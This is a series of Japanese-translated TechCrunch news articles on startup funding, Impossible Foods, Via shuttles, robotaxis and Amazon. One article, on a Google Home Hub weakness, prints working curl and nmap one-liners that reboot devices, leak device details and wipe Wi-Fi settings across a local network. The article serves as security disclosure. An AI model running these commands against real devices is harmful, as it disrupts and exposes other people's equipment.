Impossible Foodsの代替肉バーガーが全米1000店で販売に

4月17日からカリフォルニア、イリノイ、インディアナ、アイオワ、ネバダのスーパーマーケット777店が植物由来の代替肉であるImpossible Foods(インポッシブル・フーズ)の商品を店頭に並べる。

流通を増やし、製品ラインナップや国内外での取り扱いを拡大するために、同社は3月にクローズした投資ラウンドで5億ドル(約540億円)を調達した。

資金の一部はAlbertsons、Jewel-Osco、Pavilions、Safeway、Vonsといった店舗でのデビューに使われる。

17日にはグローサリーストア計1000店で取り扱われることになる、と同社は述べた。この中には、Albertsons全店、Vons、Pavilions、南カリフォルニアのGelson’s Markets、北カリフォルニアとネバダの全Safeway、シカゴとアイオワ東部、そしてインディアナ北西のJewel-Osco、東海岸のWegmans、ニューヨークとその周辺のFairway marketsが含まれる。

2019年9月の店頭デビュー以来、東海岸、西海岸の購入可能な店において最も売れたアイテムだった、と同社は述べた。

同社の12オンス(約340グラム)パッケージは8.99〜9.99ドル(約970〜1070円)で販売されており、間もなく取り扱い店舗を全米に広げる計画だ。

「我々は常に2020年の小売での取り扱い増加を計画してきた。しかしより多くの米国市民が家庭で食事するようになり、小売と消費者の両方から似たようなリクエストが届いた」とImpossible Foodsの社長Dennis Woodside(デニス・ウッドサイド)氏は声明で述べている。「既に提携している小売店はここ数週間、記録的なImpossible Burger販売を達成している。小売業者とともに販売を全米に拡大するために、可能な限り迅速に取り組む」。

拡大の発表とともに、同社は製造施設のプロセスに対する消費者の懸念を緩和する取り組みを明らかにした。

同社はテレワークができる全従業員に在宅勤務を義務づけ、同社の施設や共同メーカーが運営する施設への訪問や移動を伴う全業務を禁止している。そして職場での新たな殺菌・消毒対策を導入した。

「我々が最優先するのは従業員や顧客、消費者の安全だ」とウッドサイド氏は話した。「全サンフランシスコ・ベイエリアを含む我々のコミュニティやグローバルサプライヤー、顧客ネットワーク、何百万という顧客、そしてこの必要とされる時期に食品製造者に頼っている何十億という人々の福祉に責任を負っていることを認識している」。

同社は製造施設の増設、そしてImpossible SausageやImpossible Porkの広範にわたる商業展開などのために研究・開発を進めていると語った。

Impossible FoodsはこれまでにMirae Asset Global Investments、Khosla Ventures、Horizons Ventures、Temasekといった投資家から13億ドル(約1398億円)を調達している。

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(翻訳:Mizoguchi

オンデマンドシャトルのViaが森ビルなどから資金調達しバリュエーションは約2420億円に

オンデマンドシャトルViaのバリュエーションが、Exor(エクソール)がリードしたシリーズE投資ラウンド後に22億5000万ドル(約2420億円)になった。ExorはAgnelli(アニェッリ)家の持ち株会社で、PartnerRe(パートナー・リー)やFerrari(フェラーリ)、Fiat Chrysler Automobiles(フィアット・クライスラー・オートモービル)の株式を保有する。

Exor以外にいくつかの投資家も参加したシリーズE投資ラウンドは、この件に詳しい情報筋によると、4億ドル(約430億円)だった。Exorが2億ドル(約215億円)投資したとViaとExorが発表している。Exorのアーリーステージ投資部門を率いるNoam Ohana(ノーム・オハラ)氏がViaの役員会に加わる。

新規投資家としてMacquarie Capital、森ビル、Shellが、既存投資家からは83North、Broadscale Group、Ervington Investments、Hearst Ventures、Planven Ventures、Pitango、RiverPark Venturesが今回のラウンドに参加した。

約700人を雇用するViaは今回調達した資金の大半を、事業のソフトウェアサービスの「提携」拡大にあてる計画だ。同社はシカゴ、ワシントンD.C.、ニューヨークで消費者向けのシャトルを運行している。しかし実際のところ、事業の中核はソフトウェアプラットフォームだ。同社はこのプラットフォームを、自前のシャトルバスを展開する自治体や運輸当局に販売する。

Viaの創業者でCEOのDaniel Ramot(ダニエル・ラモット)氏によると、Viaが2012年に創業されたとき、自治体はソフトウェアプラットフォームにほとんど関心を示さなかった。同社は消費者向けのシャトルにフォーカスして始まった。その後、サービスを通じて集めた膨大な量のデータを使ってダイナミックなオンデマンドルート決めのアルゴリズムを改善した。このアルゴリズムではシャトルが最も必要とされている場所を通るようにするためにリアルタイムデータを用いている。

Viaはオースティンの交通当局にプラットフォームを無料で提供し、その後2017年後半にオースティンと初の自治体との提携を結んだ。この提携によってViaはケーススタディを進めることができ、また他の自治体にも同社のサービス購入を促すものとなった。2019年に事業提携部門が立ち上がった、とラモート氏は最近のインタビューで語り、新型コロナウイルス(COVID-19 )が拡大する前は、週に2、3の自治体と提携を結んでいたとも述べた。

今日では、Viaのプラットフォームはカリフォルニア州のロサンゼルスやクパチーノといった都市、Arriva  Bus UKなど100以上のパートナーに使用されている。Arriva Bus UKはドイツ鉄道のサービスで、通勤客を英国のケントにある高速鉄道駅に運ぶのにViaのプラットフォームを活用している。

パンデミックの中での資金調達

スタートアップにとって、今は新型コロナウイルスパンデミックのために資金確保が極めて厳しい。そうした不運な状況でViaはなんとか資金調達ラウンドをクローズした。新型コロナウイルスは製造から運輸、エネルギー、不動産に至るまであらゆる産業や事業セクターのマーケットを滅茶苦茶にした。

クレジットの厳格化や不透明さにもかかわらず、Viaはかなりの規模の資金を調達できた。ラモット氏はラウンドがずれ込むかもしれないと心配していたとき、ExorがViaと同じビジョンを共有する長期的かつ辛抱強い投資家であることに気づかされたとTechCrunchに語っている。

公共交通や配車、シェア用マイクロモビリティ、航空を含む運輸のあらゆるカテゴリーが利用減やサービス停止に直面している今ですら、ラモット氏とオハラ氏は約束された未来を描いている。

低いユニットエコノミクスや定かではない収益化への道のりといったハードル、つまりライドシェアの限界をマーケットは理解し始めているとオハラ氏は述べた。「一方で、オンデマンドのダイナミックなシャトルバスサービスのマーケット規模は大きく、現在は過小評価されている」とも話している。「今日の公共交通機関に目を向けると、Viaにとって大きなチャンスがある。当社はすでに、世界中の自治体や公共交通パートナーと協業し、かなりの経験を持っている」。

だからといってViaが広がりつつあるパンデミックの影響を受けないわけではない。Viaの消費者向け事業は、感染拡大のために乗車が落ち込むなどしてマイナスの影響を受けている。

しかしパートナーシップの事業はいくぶん約束されている、とラモット氏は話した。

すでに提携しているパートナーとしては、ドイツのベルリンやオハイオ、マルタの交通当局が含まれ、これらはViaとともにパンデミックの間の新たな需要に対応するソフトウェアに変更したり導入したりしている。自治体は商品や必要不可欠の業務に従事する人たちを輸送するのにシャトルサービスを使うかもしれない。例えばベルリンは120台のシャトル車両を、ヘルスケアワーカーの通勤向けの無料夜間サービスにあてている。

「緊急サービス分野が真の関心を寄せている」とラモット氏は話し、パンデミックが広がるにつれてソフトウェアプラットフォームや同社が提供するフレキシビリティに対するさらなる需要が出てくると予想している、と付け加えた。

画像クレジット:Via

新型コロナウイルス 関連アップデート

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(翻訳:Mizoguchi

ボット退治のKasadaがCIAのベンチャー部門から7.6億円超を調達

今年初めにTechCrunchでも紹介したボット退治のスタートアップであるKasadaが、CIAなど諜報機関のコミュニティによる非営利のベンチャー事業のIn-Q-Telらから、シリーズAラウンドで700万ドル(約7億6300万円)を調達した。In-Q-TelによるKasadaへの投資は、今回が初めてとなる。

シドニーとシカゴにオフィスを置く同社は、独自のボット退治プラットホームPolyformでネット上のボットたちと戦う。ボットはゴミの山ようなトラフィックでウェブサイトを麻痺させ接続不能にしてしまうだけでなく、買った覚えのないものを買ったことにしてしまったり、また航空会社やエンターテインメント企業のコンテンツを偽造して代金を下げたりする。ボットは企業に使った覚えのないウェブサーバーや通信帯域の費用を発生させる。

同社のボット撃退プラットホームは、顧客のウェブサイトの外縁に難攻不落の暗号の壁を作る。また、同プラットホームは、フィンガープリント技術を利用してビジターが人間であるか確認する。そしてボットを見つけたら、解のない数学パズルを解かせたりしてボットのオペレーターのサーバーやメモリなどクラウドリソースを酷使し、費用を発生させる。

KasadaのCEOで共同創業者のSam Crowther(サム・クロウザー)氏は「In-Q-Telからの支援は自分たちの技術とチームに対する『強力なお墨付き』だ」とコメントしている。

2015年にローンチした同社は、昨年の1年間で技術と営業の両方の人員を倍増し、現場担当の役員だったPascal Podvin(パスカル・ポドビン)氏を営業のトップに据えて売上増を狙っている。In-Q-TelのPeter Tague(ピーター・タグ)氏によると、彼はKasadaの技術に感銘を受けたと言う。

同社がシドニーにオフィスを開いたのは昨年の後期だったが、オーストラリアで初めての投資が今回のKasadaだ。これまでのIn-Q-Telの投資先は、エンタープライズデータのクラウドプラットホームClouderaやサイバーセキュリティの大手FireEye、オープンソースのデータベースMongoDB、監視用ソフトウェアのPalantirなどだ。

今回の700万ドルのラウンドでKasadaは、顧客ベースを拡大して、最近いよいよ厳しい競争に抜きん出たいと考えている。この資金調達の直前には、ネットワーキングとコンテンツデリバリーの大手Cloudflareが、ボット対策のための戦闘モードと呼ばれる機能を導入した。それは、Cloudflareの顧客が無料で使えるオプトインの機能だ。同社はその機能について、ボットが顧客を攻撃できないようにして欲求不満に陥れる、と言っている。

KasadaのCrowther(クラウザー)氏によると、Cloudflareのそのような自助努力を見ても、ボット対策サービスの重要性が分かる。でもKasadaは、他社が手を付けていない部分をやっている、という。

【編集部注】In-Q-TelはKasadaの最新の投資家だが、ラウンドをリードしてはいない。

関連記事:Bots are cheap and effective. One startup trolls them into going away(ボットを苦しめて退散させるKasadaの反撃技術、未訳)

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(翻訳:iwatani、a.k.a. hiwa

ヒュンダイが自動運転車によるロボタクシーサービスをカリフォルニアで試験運用

韓国・ヒュンダイの電動自動運転機能を搭載するクロスオーバーSUV車であるKonaの一群が、中国の自動運転企業であるPony.aiの自動運転システムを搭載し、米国ニューヨーク拠点のライドシェアプラットホームであるViaを利用して、来週から公道上で乗客の送迎を開始する。

そのロボタクシーサービスはBotRideと呼ばれ、11月4日からカリフォルニア州アーバインの公道で営業する。完全な自動運転車ではなく、人間のセーフティードライバーが常時運転席に座る。しかしカリフォルニア州でのライドシェアのパイロット事業は例が少ない。これまで自律車を用いたライドシェアサービスの営業が許可されたのは、AutoX、Pony.ai、Waymo、Zooxのわずか4社だ。

乗客がスマートフォンのアプリから乗車をリクエストすると、近くの場所を指示されるので、そこで待っていると拾ってくれて、またそこで降ろしてくれる。このようなライドシェアの仕組みはViaのシステムが動かし、そしてこのプラットホームは、同じ乗客による同じルートの複数回の乗車を狙っている。そのための予約や乗客と車の割り当て、QRコードによる車の特定などはViaのプラットホームが扱う。Viaの事業には二つの面があり、シカゴやワシントンD.C.、そしてニューヨークでは一般消費者対象のシャトルサービスを運用している。そして今度のロボタクシーサービスでは、クライアントが自分のプラットホームで自社のシャトルを展開する。

ヒュンダイによるとBotRideは、今後の完全な自動運転に備えてユーザー体験を検証することが目的だ。その「今後」がいつのことなのか、それは未定のようだ。しかしいつであれ、今回のパイロット事業はそれに向けての重要な足がかりだ。

Coverage area of Hyundai robotaxi pilot

現代自動車(Hyundai Motor Company)の事業開発部長であるChristopher Chang(クリストファー・チャン)氏は「同社はBotRideを利用して自動運転のライドシェア環境における消費者行動を研究する」とコメントしている。

「BotRideのパイロット事業は、今成長途上にある新しいモビリティー事業の展開と最終的な商用化のための重要なステップだ」と同社の高度製品戦略担当マネージャーであるDaniel Han(ダニエル・ハン)氏は語っている。

BotRideはヒュンダイというよく知られた名前が頭に付く。しかしPony.aiとViaの技術的貢献度も極めて大きい。Pony.aiは自動運転車の世界では新人だが、すでに17億ドル(約1847億円)の評価額で3億ドル(約326億円)を調達しており、トヨタやヒュンダイと提携している。

中国とカリフォルニアで操業しているPony.aiは従業員が全世界で約500名、2016年の後半にSequoia Capital ChinaとIDG Capital、およびLegend Capitalの投資で創業された。

同社はまた、カリフォルニア州自動車局から公道上の自動運転車のテストを許可され、カリフォルニア州公共事業委員会(CPUC)からこれらの車のライドシェアサービスでの利用を許可された数少ない自動車企業グループのひとつだ。CPUCの規則により現在のところPony.aiは乗車に対して課金できない。

画像クレジット: Hyundai/Pony.ai

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(翻訳:iwatani、a.k.a. hiwa

アップル本社のあるクパチーノ市がViaによるオンデマンドの公共交通機関を立ち上げ

シャトルのスタートアップのViaと米国クパチーノ市が、オンデマンドの公共交通ネットワークを立ち上げる。これは、従来のバスに代わるものを試行する地方自治体の最新の例だ。

このオンデマンドシャトルはクパチーノの市章を付けた6台のバンでスタートする。狙いは、列車便CalTrain(カルトレイン)との接続を改善し、市の公共交通をより便利にすることだ。

このオンデマンドシャトルサービスは10月29日に始まり、最終的には10台で運用され、車椅子利用者への便宜も提供される。車両管理を代行するもうひとつのパートナーであるAvis Budget Groupが、車のメンテナンスも担当する。

クパチーノの住民や通勤者は、アプリまたは電話予約でシャトルを呼べる。Viaの発表によると、ネットワークは市の全域11平方マイル(約30平方km)をカバーし、カルトレインのサニーベール駅を利用する通勤者たちの周辺の都市圏が含まれる。クパチーノの市長であるSteven Scharf(スティーブン・シャーフ)氏は、Viaのオンデマンドサービスを「次世代の公共交通機関であり、人びとの移動性を増すと同時に交通渋滞の減少にも貢献する」と見ている。

運行時間は平日が午前6時から午後8時まで、日曜日は午前9時から午後5時までで、運賃は5ドルだ。定期は1週間が17ドル、1か月が60ドルである。

Via Cupertino Service Zone 1

Viaの事業には2つの面がある。同社はシカゴとワシントンD.C.とニューヨークでは、一般消費者向けのシャトルを運行している。

また他方では都市や地方の交通局などをパートナーして、彼らが運用するシャトルを提供している。Apple(アップル)やSeagate Technologiesをはじめ、ソフトウェアやテクノロジー関連企業の多いクパチーノ市は、その例のひとつだ。オースチン広域都市圏交通局は、同市のピックアップサービスをViaのプラットホームを利用してより充実させている。また英国ではドイツ鉄道の子会社のArriva Busが、同国ケント州の高速鉄道駅への通勤者の連絡を改善するための末端交通機関としてViaを利用している。

1月にViaは、ロサンゼルスとのパートナーシップを発表した。それは同市の公共交通機関の利用の多い3つの地区で通勤者の便宜を図るためだ。Viaによると、同社はこれまでに80件あまりのシャトルサービスを立ち上げており、20を超える国で目下検討されている。これまでの乗客累計は6000万人超に達する。

都市の指導者たちは最近ますます、オンデマンドシャトルの実験に入れ込んでいるようだが、このニッチビジネスの成功は保証されていない。たとえばFordが買収したChariotは、2019年の初めにサンフランシスコとニューヨークと英国の操業を閉鎖した

画像クレジット:Via

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倉庫サービス〜邪魔物保管サービスのClutterがSoftBankのリードで2億ドルを調達

目下、SoftBankのVision Fundの投資家たちの不満気な様子をめぐっていろんな憶測が溢れているが、しかしドラムは鳴り続けているし、小切手もどんどん書かれている。この1000億ドルのメガファンドの最新の取引相手はオンデマンドの倉庫サービスClutter、このほど成長資金として2億ドルを獲得した。

目ざとい読者は覚えておられると思うが、本誌TechCrunchは早くも1月に、この巨額投資を特ダネで報じた。そしてそれが今日(米国時間2/20)、公式になった。

Clutterは、一般消費者が捨てたくはないけど家が狭すぎて置けない、と思っている物を貸し倉庫にしまってくれる。この業態は、今とても多い。Clutterの場合はアプリで呼びだせばスタッフが来て荷造りをして品物を持ち去る。もちろん、後で返してくれる。しかし長期保管だけでなく、引っ越しのときなどの一時的な“物置”としても利用できる。物の搬入先として、同社の倉庫ではなく自分の引っ越し先である新居を指定してもよい。主なコンペティターは、MakeSpaceOmniTroveLivibleClosetboxなどだ。

SoftBankがリードするラウンドに参加したのは、Sequoia、Atomico、GV、Fifth Wall、そしてFour Riversだ。Four Riversは、2年近く前の6400万ドルのラウンドをリードした。今回の2億を合わせると、同社の調達額は2億9700万ドルになる。

Clutterの評価額について確定情報はないが、本誌TechCrunchの、いつも良い位置で獲物を狙っている筋によると、今回の評価額は4億から5億ドルだろう、という。ひとつだけ確実なこととして、SoftBankのJustin WilsonがClutterの取締役会に加わる。

この資金は、発表声明によると、アメリカ国内での事業拡張に充てられる。でも、海外進出の匂いもかすかにある:

この資金により、同社の2019年における新しい市場への拡張が加速される。新市場は、フィラデルフィア、ポートランド、そしてサクラメントだ。また、ニューヨーク、サンフランシスコ、ロサンゼルス、シカゴ、シアトル、サンディエゴ、オレンジカウンティ、ニュージャージー北部など既存の市場でも業務を拡大し、アメリカの50大都市のすべてに拠点を置くという目標達成を目指すとともに、国際的な拡張も行なう。

SoftBankのWilsonは、声明でこう言っている: “倉庫サービスは市場規模がきわめて大きく、これからディスラプトしていける既存市場もその潜在的規模は巨大だ。Clutterのテクノロジーと優れた消費者対応は同社の将来の成長を支え、スペースが貴重な都市地域で市場を拡大していけるだろう”。

関連記事: Sources: Clutter is raising $200-250M led by SoftBank for on-demand storage and moving…ClutterがSoftBankのリードで$200-250Mを調達(未訳)

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GoogleのHome Hubがたった1行のコードで煉瓦になる(文鎮になる)

セキュリティの普及活動家であるJerry Gamblinがポストした、主にXMLの行から成るコードは、Google Home Hubから容易に情報を取り出し、ときには一時的にそのデバイスを動かなくしてしまう。

Home Hubは要するに、Androidタブレットにスピーカーをくっつけた製品で、室内で使うGoogle Assistantデバイスとして設計されている。それは近くのWi-Fiアクセスポイントを見つけ、ユーザーはそのどれかに接続し、他のデバイスからビデオや写真を受信したり、リモートのコマンドを受け付けたりする。ビデオを受信するときには自分のPINを送信するし、また受け取るコマンドの中にはコマンドラインのクイックリブートもありえる。

問題のコマンドは、コマンドラインからの簡単なURL呼び出しで、明らかにセットアッププロセスの一部だ。ご自分で試したい人は’hub’のところをHome HubのローカルなIPアドレスに置換するとよい:

curl -Lv -H Content-Type:application/json --data-raw '{"params":"now"}' http://hub:8008/setup/reboot

[ぼくはIoTのセキュリティのエキスパートではないが、不正なcurlコマンドでGoogleのHome Hubをリブートできるのはおかしいよね。]

これも1行のコード(curlコマンド)だが、マイクロサービスの数などの情報を暴露する:

$ curl -s http://hub:8008/setup/eureka_info | jq
{
"bssid": "cc:be:59:8c:11:8b",
"build_version": "136769",
"cast_build_revision": "1.35.136769",
"closed_caption": {},
"connected": true,
"ethernet_connected": false,
"has_update": false,
"hotspot_bssid": "FA:8F:CA:9C:AA:11",
"ip_address": "192.168.1.1",
"locale": "en-US",
"location": {
"country_code": "US",
"latitude": 255,
"longitude": 255
},
"mac_address": "11:A1:1A:11:AA:11",
"name": "Hub Display",
"noise_level": -94,
"opencast_pin_code": "1111",
"opt_in": {
"crash": true,
"opencast": true,
"stats": true
},
"public_key": "Removed",
"release_track": "stable-channel",
"setup_state": 60,
"setup_stats": {
"historically_succeeded": true,
"num_check_connectivity": 0,
"num_connect_wifi": 0,
"num_connected_wifi_not_saved": 0,
"num_initial_eureka_info": 0,
"num_obtain_ip": 0
},
"signal_level": -60,
"ssdp_udn": "11111111-adac-2b60-2102-11111aa111a",
"ssid": "SSID",
"time_format": 2,
"timezone": "America/Chicago",
"tos_accepted": true,
"uma_client_id": "1111a111-8404-437a-87f4-1a1111111a1a",
"uptime": 25244.52,
"version": 9,
"wpa_configured": true,
"wpa_id": 0,
"wpa_state": 10
}

そして下のnmap呼び出しは、ローカルなネットワーク上のすべてのデバイスが自分のWi-Fiを忘れてしまうので、もう一度セットアップしなければならない:

nmap --open -p 8008 192.168.1.0/24 | awk '/is up/ {print up}; {gsub (/(|)/,""); up = $NF}' | xargs -I % curl -Lv -H Content-Type:application/json --data-raw '{ "wpa_id": 0 }' http://%:8008/setup/forget_wifi

Gamblinも言っているが、これらのセキュリティホールは壊滅的ではないが要注意だ。これらのコマンドやツールを不正に実行できてしまうこと自体、よく言えば怠慢だし、悪く言えば危険だ。彼の指摘によると、このオープンなエンドポイントは何年も前からいろんなGoogleデバイスにある。だからこれはコードベースの正常な一部であり、Googleによるいたずらではない。

ここには、重大なものは何もないし、Home Hubが重要な医療機器を制御することもない。でも、このプラットホームを使ってるデバイスにセキュリティの欠陥があることは、知っておいて損はない。この場合はコマンドの不正実行やシステムの盗用だ。しかし今日はGrandpaの超複雑な写真フレームをリブートできるだけだが、明日になると誰かが、うちのおじいちゃんの酸素濃縮器をリブートするかもしれない。

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(翻訳:iwatani(a.k.a. hiwa

レジなし店舗 “Amazon Go” がサンフランシスコとシカゴでも開店へ

AmazonはレジのないGoストアを全米に展開しようとしている。次の目的地はサンフランシスコとシカゴらしいことが、求人広告からわかった

The Seattle Timesが見つけた求人広告について、Amazon広報は両都市に店舗を設置する計画があることを認めたが、具体的な時期は明らかにしていない。

一般的な求人広告以上の情報はほとんどないが、2都市ともマネージャー職が募集されている。

今週San Francisco Chronicle紙は、Amazon Goストアが交通量の多いダウンタウンのユニオンスクェアにやってくるかもしれないと報じた。一方Amazonは、シカゴのループ地区にずっと小さな635平方フィート(59平方メートル)の”Amazon Go”を開店するための許可を得ている

AmazonのGoストアは、コンビニ風の総合食料品店に消費者がレジを通ることなく出入りできるというコンセプトで作られている。カメラを多用して客を追跡し、選んだ商品を識別したのちAmazon Goアプリを通じて直接請求する。同社の「未来の店舗」は現在シアトルのみにあり、昨年Amazonが買収したWhole Foodsとは全く別の運営になっているとみられる。

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(翻訳:Nob Takahashi / facebook

Amazon第二本社を誘致したいクリーブランドが$120M相当の無料特典を用意

中西部の小都市が、Amazonの収容雇用者数50000名の第二本社を誘致するために、どれだけの飴を用意する気か、Cleveland.comの記事が詳しく報じている。記者のMark Naymikが入手した文書によると、クリーブランドはAmazonに1億2000万ドル相当の無料サービスを提供するつもりだ。たとえばその中には、列車やバスなど公共交通機関の運賃の大幅値引きもある。

その文書はここにあるが、主に、Amazonの意思決定の重要な要素である交通に関する、Northeast Ohio Areawide Coordinating Agency(オハイオ州北東部広域調整局, NOACA)の考え方を記述している。

オハイオは今、発展途上の地域だが、公共交通機関網にむらがある。コロンバスなどはまだライトレールがなく、シンシナチは最近整備を始めたばかりで供用域が小さい。クリーブランドには、利用者数が少ないけどしっかりとしたシステムがすでにある。

都市が値引きを提供するのも、意外ではない。新しい都市への進出はAmazonにとって巨額な出費になり、それは都市にとってチャンスだ。それだけでなく、Amazonの進出はその小都市にスタートアップとテクノロジーのエコシステムを産み育てるだろう。クリーブランドは、出血サービスをしてでも、この機会をものにしたい。

アメリカ中西部は今、岐路に立たされている。小都市がアートとクリエティビティのハブとして生まれ変わるか、それとも、さらに落ち込んでいくか。展望は、必ずしも明るくない。

最大の都市であるシカゴは、交通と金融とロジスティクスのハブとして小さな衛星都市の人材を惹きつけている。さらにピッツバーグやアンアーバーのような“スマート都市”は、卒業したら太平洋岸へ行ってしまうような優秀な学生たちを、横取りしている。社会学者のRichard Floridaが言う、活発な“クリエイティブ・クラス(Creative Class)”は、そんな人取りレースに勝った都市で栄えるが、しかし多くの都市は、どんな種類の(文化的、その他的)クリエイティブなエコシステムも作り出せない。Amazonのような巨獣が舞い降りて来ても、それをサポートする力はない。

クリーブランドがやったことは、間違ってはいないが、情報を隠そうとしたことは市にとってむしろ危険だろう。メリーランドの運輸局長Pete K. Rahnも取材に対して言っている: “Amazonの第二本社に関しては、同社が必要とするものを何でも提供する。すべての実際的な目的に照らして、それは白紙小切手であることがもっとも合理的だ”。

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(翻訳:iwatani(a.k.a. hiwa

完全植物性のひき肉が大衆的ハンバーガーショップに進出、菜食人口の増大にも対応

完全植物性の、がんもどきではなく肉もどきを作っているImpossible Foodsが、食肉のサプライチェーンに食い込もうとしている。同社の肉もどきで作ったバーガーもどきが、アメリカで最初のファストフードバーガーチェーンWhite Castleのメニューになるのだ。

そこで、ラリったヴィーガンのヒッピーたちも、同じくラリったスラッカーたちと一緒に、安くておいしいバーガーふう御馳走にありつける、というわけ。

その“Impossible Slider”という商品名の完全植物性ひき肉もどきは、バーガー1枚が1ドル99セント、ほかのメニューに含まれることもある。

ヴィーガン(vegan, 完全菜食主義者)専用の高級品だった肉もどきが、一般消費者向けのファストフードチェーンへ飛び込むなんて、ものすごく画期的だ。

同社のミッションが本物のひき肉と互角なコンペティターになり、最終的にはそれを駆逐することなら、そのバーガーの名前も今のUmami Burgerから堂々とImpossible Sliderに変わるべきだ。

前にも書いたが、同社は最近3億ドル近くの資金調達により、そのバーガーをアジアとアメリカ市場全域に売り込もうとしている。

Impossible Sliderがこれから売られるWhite Castleの店は、ニューヨーク-ニュージャージー回廊地帯とシカゴおよびその郊外の、140店だ。

Impossible FoodsのファウンダーでCEOのPatrick Brownは、声明文で述べている: “White Castleのビジネスモデルを真似ようとした連中は多かったが、だれも真似できなかった。競争の激しいファストフード業界で、それはすごいことだ。われわれもWhite Castleと密接に協働して、植物性の肉を今後大衆的な量産量販バーガーとして普及していく方法を学びたい”。

画像クレッジット: TechCrunch

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